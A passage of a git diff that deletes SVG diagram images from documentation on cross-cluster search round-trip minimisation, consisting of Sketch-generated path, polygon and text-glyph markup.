-                <path d="M587.2461,207.9584 C530.01917,207.9584 492.72141,268.89541 472.7923,329.83242 C452.863162,390.76943 450.302645,451.70644 427.81302,451.70644" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M587.2461,207.95842 C530.01917,207.95842 492.72141,268.895416 472.79227,329.83243 C462.827731,360.300936 457.205295,390.76944 451.262851,413.62082 C449.777225,419.33365 448.271609,424.570466 446.67316,429.212098 C446.273502,430.372529 445.868106,431.495789 445.455753,432.579926 C445.249546,433.122041 445.041629,433.654359 444.831851,434.176667 L444.655734,434.608979" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="439.949 429.97238 431.916743 447.540648 449.362453 439.245574"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ccs/ccs-min-roundtrip-cluster-search.svg b/docs/reference/images/ccs/ccs-min-roundtrip-cluster-search.svg
deleted file mode 100644
index eb481182953..00000000000
--- a/docs/reference/images/ccs/ccs-min-roundtrip-cluster-search.svg
+++ /dev/null
@@ -1,77 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="610px" height="588px" viewBox="0 0 610 588" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 768 0 768"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="ccs-min-roundtrip-cluster-search" transform="translate(-204.000000, -66.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="0 0 960 0 960 768 0 768"></polygon>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="255.72198 251.88045 444.09994 251.88045 444.09994 292.321383 255.72198 292.321383"></polygon>
-                <path d="M289.93912,278.98795 C288.491203,278.98795 287.371412,278.545242 286.579745,277.659825 C285.788078,276.763992 285.392245,275.503575 285.392245,273.878575 C285.392245,272.201492 285.793287,270.909825 286.59537,270.003575 C287.40787,269.086908 288.553703,268.628575 290.03287,268.628575 C290.512037,268.628575 290.991203,268.680658 291.47037,268.784825 C291.959953,268.888992 292.340162,269.013992 292.610995,269.159825 L292.142245,270.441075 C291.808912,270.305658 291.444328,270.196283 291.048495,270.11295 C290.652662,270.0192 290.303703,269.972325 290.00162,269.972325 C287.97037,269.972325 286.954745,271.263992 286.954745,273.847325 C286.954745,275.076492 287.199537,276.0192 287.68912,276.67545 C288.18912,277.3317 288.928703,277.659825 289.90787,277.659825 C290.741203,277.659825 291.590162,277.482742 292.454745,277.128575 L292.454745,278.4567 C291.788078,278.810867 290.949537,278.98795 289.93912,278.98795 Z M296.336489,278.80045 L294.836489,278.80045 L294.836489,264.628575 L296.336489,264.628575 L296.336489,278.80045 Z M300.977084,268.816075 L300.977084,275.30045 C300.977084,276.11295 301.159376,276.722325 301.523959,277.128575 C301.898959,277.524408 302.477084,277.722325 303.258334,277.722325 C304.310417,277.722325 305.076042,277.435867 305.555209,276.86295 C306.034376,276.290033 306.273959,275.357742 306.273959,274.066075 L306.273959,268.816075 L307.789584,268.816075 L307.789584,278.80045 L306.539584,278.80045 L306.320834,277.4567 L306.242709,277.4567 C305.930209,277.9567 305.497917,278.336908 304.945834,278.597325 C304.404167,278.857742 303.779167,278.98795 303.070834,278.98795 C301.862501,278.98795 300.956251,278.701492 300.352084,278.128575 C299.747917,277.545242 299.445834,276.618158 299.445834,275.347325 L299.445834,268.816075 L300.977084,268.816075 Z M317.443362,276.0817 C317.443362,277.008783 317.094404,277.727533 316.396487,278.23795 C315.708987,278.73795 314.740237,278.98795 313.490237,278.98795 C312.16732,278.98795 311.13607,278.774408 310.396487,278.347325 L310.396487,276.9567 C310.875654,277.196283 311.38607,277.388992 311.927737,277.534825 C312.47982,277.670242 313.01107,277.73795 313.521487,277.73795 C314.313154,277.73795 314.922529,277.61295 315.349612,277.36295 C315.776695,277.102533 315.990237,276.717117 315.990237,276.2067 C315.990237,275.821283 315.818362,275.48795 315.474612,275.2067 C315.141279,274.92545 314.485029,274.597325 313.505862,274.222325 C312.578779,273.878575 311.91732,273.5817 311.521487,273.3317 C311.13607,273.071283 310.844404,272.779617 310.646487,272.4567 C310.458987,272.123367 310.365237,271.727533 310.365237,271.2692 C310.365237,270.4567 310.693362,269.816075 311.349612,269.347325 C312.016279,268.868158 312.927737,268.628575 314.083987,268.628575 C315.156904,268.628575 316.203779,268.847325 317.224612,269.284825 L316.693362,270.5192 C315.693362,270.102533 314.787112,269.8942 313.974612,269.8942 C313.255862,269.8942 312.714195,270.008783 312.349612,270.23795 C311.985029,270.467117 311.802737,270.774408 311.802737,271.159825 C311.802737,271.430658 311.870445,271.659825 312.005862,271.847325 C312.141279,272.034825 312.360029,272.217117 312.662112,272.3942 C312.964195,272.560867 313.547529,272.805658 314.412112,273.128575 C315.599612,273.555658 316.401695,273.98795 316.818362,274.42545 C317.235029,274.86295 317.443362,275.415033 317.443362,276.0817 Z M323.124575,277.73795 C323.395409,277.73795 323.650617,277.717117 323.8902,277.67545 C324.1402,277.633783 324.338117,277.592117 324.48395,277.55045 L324.48395,278.7067 C324.3277,278.790033 324.088117,278.857742 323.7652,278.909825 C323.442284,278.961908 323.155825,278.98795 322.905825,278.98795 C320.978742,278.98795 320.0152,277.967117 320.0152,275.92545 L320.0152,269.98795 L318.5777,269.98795 L318.5777,269.2692 L320.0152,268.628575 L320.6402,266.503575 L321.5152,266.503575 L321.5152,268.816075 L324.42145,268.816075 L324.42145,269.98795 L321.5152,269.98795 L321.5152,275.86295 C321.5152,276.467117 321.655825,276.930658 321.937075,277.253575 C322.228742,277.576492 322.624575,277.73795 323.124575,277.73795 Z M330.710757,278.98795 C329.23159,278.98795 328.064924,278.540033 327.210757,277.6442 C326.35659,276.73795 325.929507,275.48795 325.929507,273.8942 C325.929507,272.279617 326.32534,270.998367 327.117007,270.05045 C327.908674,269.102533 328.971174,268.628575 330.304507,268.628575 C331.564924,268.628575 332.554507,269.040033 333.273257,269.86295 C334.002424,270.685867 334.367007,271.774408 334.367007,273.128575 L334.367007,274.0817 L327.492007,274.0817 C327.523257,275.258783 327.820132,276.149408 328.382632,276.753575 C328.945132,277.357742 329.736799,277.659825 330.757632,277.659825 C331.830549,277.659825 332.893049,277.435867 333.945132,276.98795 L333.945132,278.3317 C333.413882,278.560867 332.908674,278.727533 332.429507,278.8317 C331.95034,278.935867 331.377424,278.98795 330.710757,278.98795 Z M330.288882,269.8942 C329.486799,269.8942 328.846174,270.159825 328.367007,270.691075 C327.898257,271.211908 327.622215,271.930658 327.538882,272.847325 L332.757632,272.847325 C332.757632,271.899408 332.54409,271.170242 332.117007,270.659825 C331.689924,270.149408 331.080549,269.8942 330.288882,269.8942 Z M341.505679,268.628575 C341.953596,268.628575 342.349429,268.665033 342.693179,268.73795 L342.490054,270.1442 C342.073387,270.05045 341.708804,270.003575 341.396304,270.003575 C340.594221,270.003575 339.901512,270.3317 339.318179,270.98795 C338.745262,271.6442 338.458804,272.461908 338.458804,273.441075 L338.458804,278.80045 L336.958804,278.80045 L336.958804,268.816075 L338.193179,268.816075 L338.380679,270.659825 L338.443179,270.659825 C338.818179,270.013992 339.266096,269.513992 339.786929,269.159825 C340.307762,268.805658 340.880679,268.628575 341.505679,268.628575 Z M344.355593,277.8317 C344.355593,277.42545 344.444135,277.118158 344.621218,276.909825 C344.808718,276.701492 345.074343,276.597325 345.418093,276.597325 C345.77226,276.597325 346.048302,276.701492 346.246218,276.909825 C346.444135,277.118158 346.543093,277.42545 346.543093,277.8317 C346.543093,278.227533 346.444135,278.534825 346.246218,278.753575 C346.048302,278.961908 345.77226,279.066075 345.418093,279.066075 C345.11601,279.066075 344.860802,278.972325 344.652468,278.784825 C344.454552,278.586908 344.355593,278.2692 344.355593,277.8317 Z M344.355593,269.784825 C344.355593,268.972325 344.70976,268.566075 345.418093,268.566075 C346.168093,268.566075 346.543093,268.972325 346.543093,269.784825 C346.543093,270.180658 346.444135,270.48795 346.246218,270.7067 C346.048302,270.915033 345.77226,271.0192 345.418093,271.0192 C345.11601,271.0192 344.860802,270.92545 344.652468,270.73795 C344.454552,270.540033 344.355593,270.222325 344.355593,269.784825 Z M358.604037,278.98795 C357.124871,278.98795 355.958204,278.540033 355.104037,277.6442 C354.249871,276.73795 353.822787,275.48795 353.822787,273.8942 C353.822787,272.279617 354.218621,270.998367 355.010287,270.05045 C355.801954,269.102533 356.864454,268.628575 358.197787,268.628575 C359.458204,268.628575 360.447787,269.040033 361.166537,269.86295 C361.895704,270.685867 362.260287,271.774408 362.260287,273.128575 L362.260287,274.0817 L355.385287,274.0817 C355.416537,275.258783 355.713412,276.149408 356.275912,276.753575 C356.838412,277.357742 357.630079,277.659825 358.650912,277.659825 C359.723829,277.659825 360.786329,277.435867 361.838412,276.98795 L361.838412,278.3317 C361.307162,278.560867 360.801954,278.727533 360.322787,278.8317 C359.843621,278.935867 359.270704,278.98795 358.604037,278.98795 Z M358.182162,269.8942 C357.380079,269.8942 356.739454,270.159825 356.260287,270.691075 C355.791537,271.211908 355.515496,271.930658 355.432162,272.847325 L360.650912,272.847325 C360.650912,271.899408 360.437371,271.170242 360.010287,270.659825 C359.583204,270.149408 358.973829,269.8942 358.182162,269.8942 Z M366.273959,268.816075 L366.273959,275.30045 C366.273959,276.11295 366.456251,276.722325 366.820834,277.128575 C367.195834,277.524408 367.773959,277.722325 368.555209,277.722325 C369.607293,277.722325 370.372918,277.435867 370.852084,276.86295 C371.331251,276.290033 371.570834,275.357742 371.570834,274.066075 L371.570834,268.816075 L373.086459,268.816075 L373.086459,278.80045 L371.836459,278.80045 L371.617709,277.4567 L371.539584,277.4567 C371.227084,277.9567 370.794793,278.336908 370.242709,278.597325 C369.701043,278.857742 369.076043,278.98795 368.367709,278.98795 C367.159376,278.98795 366.253126,278.701492 365.648959,278.128575 C365.044793,277.545242 364.742709,276.618158 364.742709,275.347325 L364.742709,268.816075 L366.273959,268.816075 Z M380.849612,268.628575 C381.297529,268.628575 381.693362,268.665033 382.037112,268.73795 L381.833987,270.1442 C381.417321,270.05045 381.052737,270.003575 380.740237,270.003575 C379.938154,270.003575 379.245446,270.3317 378.662112,270.98795 C378.089196,271.6442 377.802737,272.461908 377.802737,273.441075 L377.802737,278.80045 L376.302737,278.80045 L376.302737,268.816075 L377.537112,268.816075 L377.724612,270.659825 L377.787112,270.659825 C378.162112,270.013992 378.610029,269.513992 379.130862,269.159825 C379.651696,268.805658 380.224612,268.628575 380.849612,268.628575 Z M392.527652,273.80045 C392.527652,275.42545 392.116194,276.696283 391.293277,277.61295 C390.480777,278.529617 389.350569,278.98795 387.902652,278.98795 C387.006819,278.98795 386.209944,278.779617 385.512027,278.36295 C384.824527,277.935867 384.293277,277.3317 383.918277,276.55045 C383.543277,275.7692 383.355777,274.852533 383.355777,273.80045 C383.355777,272.17545 383.762027,270.909825 384.574527,270.003575 C385.387027,269.086908 386.517236,268.628575 387.965152,268.628575 C389.360986,268.628575 390.470361,269.097325 391.293277,270.034825 C392.116194,270.961908 392.527652,272.217117 392.527652,273.80045 Z M384.918277,273.80045 C384.918277,275.071283 385.173486,276.045242 385.683902,276.722325 C386.194319,277.388992 386.944319,277.722325 387.933902,277.722325 C388.923486,277.722325 389.673486,277.388992 390.183902,276.722325 C390.704736,276.055658 390.965152,275.0817 390.965152,273.80045 C390.965152,272.529617 390.704736,271.566075 390.183902,270.909825 C389.673486,270.253575 388.918277,269.92545 387.918277,269.92545 C386.928694,269.92545 386.178694,270.248367 385.668277,270.8942 C385.168277,271.540033 384.918277,272.508783 384.918277,273.80045 Z M399.827335,278.98795 C399.181502,278.98795 398.587752,278.868158 398.046085,278.628575 C397.504419,278.388992 397.051294,278.0192 396.68671,277.5192 L396.577335,277.5192 C396.650252,278.102533 396.68671,278.654617 396.68671,279.17545 L396.68671,283.284825 L395.18671,283.284825 L395.18671,268.816075 L396.40546,268.816075 L396.62421,270.17545 L396.68671,270.17545 C397.082544,269.633783 397.535669,269.243158 398.046085,269.003575 C398.566919,268.753575 399.160669,268.628575 399.827335,268.628575 C401.150252,268.628575 402.171085,269.0817 402.889835,269.98795 C403.608585,270.8942 403.96796,272.165033 403.96796,273.80045 C403.96796,275.435867 403.603377,276.711908 402.87421,277.628575 C402.145044,278.534825 401.129419,278.98795 399.827335,278.98795 Z M399.608585,269.92545 C398.587752,269.92545 397.848169,270.2067 397.389835,270.7692 C396.941919,271.3317 396.707544,272.227533 396.68671,273.4567 L396.68671,273.80045 C396.68671,275.2067 396.921085,276.211908 397.389835,276.816075 C397.858585,277.420242 398.608585,277.722325 399.639835,277.722325 C400.504419,277.722325 401.181502,277.373367 401.671085,276.67545 C402.160669,275.977533 402.40546,275.013992 402.40546,273.784825 C402.40546,272.534825 402.160669,271.5817 401.671085,270.92545 C401.181502,270.258783 400.494002,269.92545 399.608585,269.92545 Z M410.837894,278.98795 C409.358728,278.98795 408.192061,278.540033 407.337894,277.6442 C406.483728,276.73795 406.056644,275.48795 406.056644,273.8942 C406.056644,272.279617 406.452478,270.998367 407.244144,270.05045 C408.035811,269.102533 409.098311,268.628575 410.431644,268.628575 C411.692061,268.628575 412.681644,269.040033 413.400394,269.86295 C414.129561,270.685867 414.494144,271.774408 414.494144,273.128575 L414.494144,274.0817 L407.619144,274.0817 C407.650394,275.258783 407.947269,276.149408 408.509769,276.753575 C409.072269,277.357742 409.863936,277.659825 410.884769,277.659825 C411.957686,277.659825 413.020186,277.435867 414.072269,276.98795 L414.072269,278.3317 C413.541019,278.560867 413.035811,278.727533 412.556644,278.8317 C412.077478,278.935867 411.504561,278.98795 410.837894,278.98795 Z M410.416019,269.8942 C409.613936,269.8942 408.973311,270.159825 408.494144,270.691075 C408.025394,271.211908 407.749353,271.930658 407.666019,272.847325 L412.884769,272.847325 C412.884769,271.899408 412.671228,271.170242 412.244144,270.659825 C411.817061,270.149408 411.207686,269.8942 410.416019,269.8942 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,435.08157 L343.8936,435.284695 C343.622767,436.274278 343.127975,437.045112 342.409225,437.597195 C341.690475,438.138862 340.7686,438.409695 339.6436,438.409695 C338.226933,438.409695 337.101933,437.977403 336.2686,437.11282 C335.445683,436.23782 335.034225,435.013862 335.034225,433.440945 C335.034225,431.805528 335.450892,430.539903 336.284225,429.64407 C337.127975,428.748237 338.216517,428.30032 339.54985,428.30032 C340.841517,428.30032 341.8936,428.743028 342.7061,429.628445 C343.529017,430.503445 343.940475,431.73782 343.940475,433.33157 C343.940475,433.435737 343.940475,433.58157 343.940475,433.76907 L336.721725,433.76907 C336.784225,434.83157 337.086308,435.649278 337.627975,436.222195 C338.169642,436.784695 338.841517,437.065945 339.6436,437.065945 C340.247767,437.065945 340.763392,436.909695 341.190475,436.597195 C341.617558,436.274278 341.9561,435.76907 342.2061,435.08157 Z M336.815475,432.42532 L342.221725,432.42532 C342.148808,431.61282 341.940475,431.003445 341.596725,430.597195 C341.075892,429.961778 340.398808,429.64407 339.565475,429.64407 C338.815475,429.64407 338.180058,429.899278 337.659225,430.409695 C337.148808,430.909695 336.867558,431.58157 336.815475,432.42532 Z M352.284927,438.190945 L352.284927,436.76907 C351.534927,437.86282 350.514094,438.409695 349.222427,438.409695 C348.64951,438.409695 348.113052,438.30032 347.613052,438.08157 C347.123469,437.86282 346.758885,437.586778 346.519302,437.253445 C346.279719,436.920112 346.113052,436.513862 346.019302,436.034695 C345.946385,435.722195 345.909927,435.211778 345.909927,434.503445 L345.909927,428.51907 L347.550552,428.51907 L347.550552,433.878445 C347.550552,434.732612 347.58701,435.310737 347.659927,435.61282 C347.764094,436.039903 347.982844,436.378445 348.316177,436.628445 C348.64951,436.878445 349.060969,437.003445 349.550552,437.003445 C350.040135,437.003445 350.498469,436.878445 350.925552,436.628445 C351.363052,436.368028 351.670344,436.024278 351.847427,435.597195 C352.02451,435.159695 352.113052,434.529487 352.113052,433.70657 L352.113052,428.51907 L353.753677,428.51907 L353.753677,438.190945 L352.284927,438.190945 Z M364.488784,436.61282 L364.488784,438.190945 L355.660659,438.190945 C355.650242,437.795112 355.712742,437.414903 355.848159,437.05032 C356.077326,436.446153 356.436701,435.852403 356.926284,435.26907 C357.426284,434.685737 358.145034,434.013862 359.082534,433.253445 C360.530451,432.065945 361.509617,431.123237 362.020034,430.42532 C362.530451,429.727403 362.785659,429.071153 362.785659,428.45657 C362.785659,427.80032 362.551284,427.253445 362.082534,426.815945 C361.624201,426.368028 361.020034,426.14407 360.270034,426.14407 C359.478367,426.14407 358.842951,426.383653 358.363784,426.86282 C357.895034,427.33157 357.660659,427.982612 357.660659,428.815945 L355.973159,428.64407 C356.087742,427.383653 356.520034,426.42532 357.270034,425.76907 C358.030451,425.11282 359.040867,424.784695 360.301284,424.784695 C361.582534,424.784695 362.598159,425.138862 363.348159,425.847195 C364.098159,426.555528 364.473159,427.435737 364.473159,428.48782 C364.473159,429.01907 364.363784,429.545112 364.145034,430.065945 C363.926284,430.586778 363.561701,431.133653 363.051284,431.70657 C362.551284,432.26907 361.707534,433.05032 360.520034,434.05032 C359.540867,434.873237 358.910659,435.435737 358.629409,435.73782 C358.348159,436.029487 358.118992,436.321153 357.941909,436.61282 L364.488784,436.61282 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,331.45334 L343.8936,331.656465 C343.622767,332.646048 343.127975,333.416882 342.409225,333.968965 C341.690475,334.510632 340.7686,334.781465 339.6436,334.781465 C338.226933,334.781465 337.101933,334.349173 336.2686,333.48459 C335.445683,332.60959 335.034225,331.385632 335.034225,329.812715 C335.034225,328.177298 335.450892,326.911673 336.284225,326.01584 C337.127975,325.120007 338.216517,324.67209 339.54985,324.67209 C340.841517,324.67209 341.8936,325.114798 342.7061,326.000215 C343.529017,326.875215 343.940475,328.10959 343.940475,329.70334 C343.940475,329.807507 343.940475,329.95334 343.940475,330.14084 L336.721725,330.14084 C336.784225,331.20334 337.086308,332.021048 337.627975,332.593965 C338.169642,333.156465 338.841517,333.437715 339.6436,333.437715 C340.247767,333.437715 340.763392,333.281465 341.190475,332.968965 C341.617558,332.646048 341.9561,332.14084 342.2061,331.45334 Z M336.815475,328.79709 L342.221725,328.79709 C342.148808,327.98459 341.940475,327.375215 341.596725,326.968965 C341.075892,326.333548 340.398808,326.01584 339.565475,326.01584 C338.815475,326.01584 338.180058,326.271048 337.659225,326.781465 C337.148808,327.281465 336.867558,327.95334 336.815475,328.79709 Z M352.284927,334.562715 L352.284927,333.14084 C351.534927,334.23459 350.514094,334.781465 349.222427,334.781465 C348.64951,334.781465 348.113052,334.67209 347.613052,334.45334 C347.123469,334.23459 346.758885,333.958548 346.519302,333.625215 C346.279719,333.291882 346.113052,332.885632 346.019302,332.406465 C345.946385,332.093965 345.909927,331.583548 345.909927,330.875215 L345.909927,324.89084 L347.550552,324.89084 L347.550552,330.250215 C347.550552,331.104382 347.58701,331.682507 347.659927,331.98459 C347.764094,332.411673 347.982844,332.750215 348.316177,333.000215 C348.64951,333.250215 349.060969,333.375215 349.550552,333.375215 C350.040135,333.375215 350.498469,333.250215 350.925552,333.000215 C351.363052,332.739798 351.670344,332.396048 351.847427,331.968965 C352.02451,331.531465 352.113052,330.901257 352.113052,330.07834 L352.113052,324.89084 L353.753677,324.89084 L353.753677,334.562715 L352.284927,334.562715 Z M362.051284,334.562715 L360.410659,334.562715 L360.410659,324.10959 C360.014826,324.48459 359.493992,324.864798 358.848159,325.250215 C358.212742,325.625215 357.639826,325.906465 357.129409,326.093965 L357.129409,324.500215 C358.046076,324.073132 358.848159,323.552298 359.535659,322.937715 C360.223159,322.323132 360.707534,321.729382 360.988784,321.156465 L362.051284,321.156465 L362.051284,334.562715 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M354.16272,353.5403 L354.16272,353.5403 C354.16272,349.733659 357.248627,346.647783 361.055268,346.647783 L410.766268,346.647783 C412.59427,346.647783 414.347414,347.373949 415.640017,348.666551 C416.932619,349.959154 417.658785,351.712297 417.658785,353.5403 L417.658785,381.109575 C417.658785,384.916216 414.572908,388.002123 410.766268,388.002123 L361.055268,388.002123 C357.248627,388.002123 354.16272,384.916216 354.16272,381.109575 L354.16272,353.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,366.87247 L367.85217,355.388095 L369.13342,355.388095 L369.13342,356.46622 C369.435503,356.039137 369.774045,355.721428 370.149045,355.513095 C370.534462,355.304762 370.998003,355.200595 371.53967,355.200595 C372.248003,355.200595 372.873003,355.382887 373.41467,355.74747 C373.956337,356.112053 374.362587,356.627678 374.63342,357.294345 C374.91467,357.950595 375.055295,358.674553 375.055295,359.46622 C375.055295,360.320387 374.899045,361.086012 374.586545,361.763095 C374.284462,362.440178 373.841753,362.961012 373.25842,363.325595 C372.685503,363.690178 372.076128,363.87247 371.430295,363.87247 C370.961545,363.87247 370.53967,363.773512 370.16467,363.575595 C369.800087,363.377678 369.498003,363.127678 369.25842,362.825595 L369.25842,366.87247 L367.85217,366.87247 Z M369.117795,359.575595 C369.117795,360.648512 369.331337,361.440178 369.75842,361.950595 C370.19592,362.461012 370.721962,362.71622 371.336545,362.71622 C371.961545,362.71622 372.498003,362.450595 372.94592,361.919345 C373.393837,361.388095 373.617795,360.570387 373.617795,359.46622 C373.617795,358.40372 373.399045,357.612053 372.961545,357.09122 C372.524045,356.55997 372.003212,356.294345 371.399045,356.294345 C370.805295,356.294345 370.274045,356.575595 369.805295,357.138095 C369.346962,357.700595 369.117795,358.513095 369.117795,359.575595 Z M376.219358,359.52872 C376.219358,357.99747 376.646441,356.862053 377.500608,356.12247 C378.219358,355.507887 379.089149,355.200595 380.109983,355.200595 C381.255816,355.200595 382.188108,355.575595 382.906858,356.325595 C383.636024,357.065178 384.000608,358.096428 384.000608,359.419345 C384.000608,360.481845 383.839149,361.320387 383.516233,361.93497 C383.193316,362.549553 382.724566,363.02872 382.109983,363.37247 C381.505816,363.705803 380.839149,363.87247 380.109983,363.87247 C378.953733,363.87247 378.016233,363.502678 377.297483,362.763095 C376.578733,362.013095 376.219358,360.93497 376.219358,359.52872 Z M377.672483,359.52872 C377.672483,360.59122 377.901649,361.388095 378.359983,361.919345 C378.828733,362.450595 379.412066,362.71622 380.109983,362.71622 C380.807899,362.71622 381.386024,362.450595 381.844358,361.919345 C382.313108,361.388095 382.547483,360.575595 382.547483,359.481845 C382.547483,358.461012 382.313108,357.68497 381.844358,357.15372 C381.386024,356.62247 380.807899,356.356845 380.109983,356.356845 C379.412066,356.356845 378.828733,356.62247 378.359983,357.15372 C377.901649,357.674553 377.672483,358.46622 377.672483,359.52872 Z M385.086545,361.200595 L386.47717,360.981845 C386.550087,361.544345 386.763628,361.976637 387.117795,362.27872 C387.482378,362.570387 387.982378,362.71622 388.617795,362.71622 C389.263628,362.71622 389.742795,362.586012 390.055295,362.325595 C390.367795,362.054762 390.524045,361.742262 390.524045,361.388095 C390.524045,361.075595 390.388628,360.825595 390.117795,360.638095 C389.919878,360.513095 389.440712,360.356845 388.680295,360.169345 C387.649045,359.908928 386.930295,359.68497 386.524045,359.49747 C386.128212,359.299553 385.826128,359.033928 385.617795,358.700595 C385.419878,358.367262 385.32092,357.99747 385.32092,357.59122 C385.32092,357.21622 385.404253,356.87247 385.57092,356.55997 C385.737587,356.24747 385.966753,355.987053 386.25842,355.77872 C386.47717,355.612053 386.774045,355.476637 387.149045,355.37247 C387.534462,355.257887 387.940712,355.200595 388.367795,355.200595 C389.024045,355.200595 389.596962,355.294345 390.086545,355.481845 C390.576128,355.669345 390.935503,355.924553 391.16467,356.24747 C391.404253,356.55997 391.57092,356.987053 391.66467,357.52872 L390.28967,357.71622 C390.22717,357.289137 390.044878,356.955803 389.742795,356.71622 C389.440712,356.476637 389.018837,356.356845 388.47717,356.356845 C387.831337,356.356845 387.367795,356.46622 387.086545,356.68497 C386.815712,356.893303 386.680295,357.138095 386.680295,357.419345 C386.680295,357.606845 386.737587,357.773512 386.85217,357.919345 C386.966753,358.065178 387.143837,358.190178 387.38342,358.294345 C387.529253,358.346428 387.94592,358.46622 388.63342,358.65372 C389.623003,358.914137 390.315712,359.132887 390.711545,359.30997 C391.107378,359.476637 391.41467,359.721428 391.63342,360.044345 C391.862587,360.367262 391.97717,360.768303 391.97717,361.24747 C391.97717,361.71622 391.836545,362.158928 391.555295,362.575595 C391.284462,362.981845 390.888628,363.299553 390.367795,363.52872 C389.857378,363.757887 389.279253,363.87247 388.63342,363.87247 C387.550087,363.87247 386.72717,363.648512 386.16467,363.200595 C385.60217,362.752678 385.242795,362.086012 385.086545,361.200595 Z M396.711545,362.419345 L396.91467,363.669345 C396.518837,363.752678 396.16467,363.794345 395.85217,363.794345 C395.341753,363.794345 394.94592,363.71622 394.66467,363.55997 C394.38342,363.393303 394.185503,363.179762 394.07092,362.919345 C393.956337,362.648512 393.899045,362.09122 393.899045,361.24747 L393.899045,356.481845 L392.867795,356.481845 L392.867795,355.388095 L393.899045,355.388095 L393.899045,353.325595 L395.305295,352.481845 L395.305295,355.388095 L396.711545,355.388095 L396.711545,356.481845 L395.305295,356.481845 L395.305295,361.325595 C395.305295,361.731845 395.326128,361.992262 395.367795,362.106845 C395.419878,362.221428 395.503212,362.315178 395.617795,362.388095 C395.732378,362.450595 395.893837,362.481845 396.10217,362.481845 C396.25842,362.481845 396.461545,362.461012 396.711545,362.419345 Z M397.531858,361.200595 L398.922483,360.981845 C398.995399,361.544345 399.208941,361.976637 399.563108,362.27872 C399.927691,362.570387 400.427691,362.71622 401.063108,362.71622 C401.708941,362.71622 402.188108,362.586012 402.500608,362.325595 C402.813108,362.054762 402.969358,361.742262 402.969358,361.388095 C402.969358,361.075595 402.833941,360.825595 402.563108,360.638095 C402.365191,360.513095 401.886024,360.356845 401.125608,360.169345 C400.094358,359.908928 399.375608,359.68497 398.969358,359.49747 C398.573524,359.299553 398.271441,359.033928 398.063108,358.700595 C397.865191,358.367262 397.766233,357.99747 397.766233,357.59122 C397.766233,357.21622 397.849566,356.87247 398.016233,356.55997 C398.182899,356.24747 398.412066,355.987053 398.703733,355.77872 C398.922483,355.612053 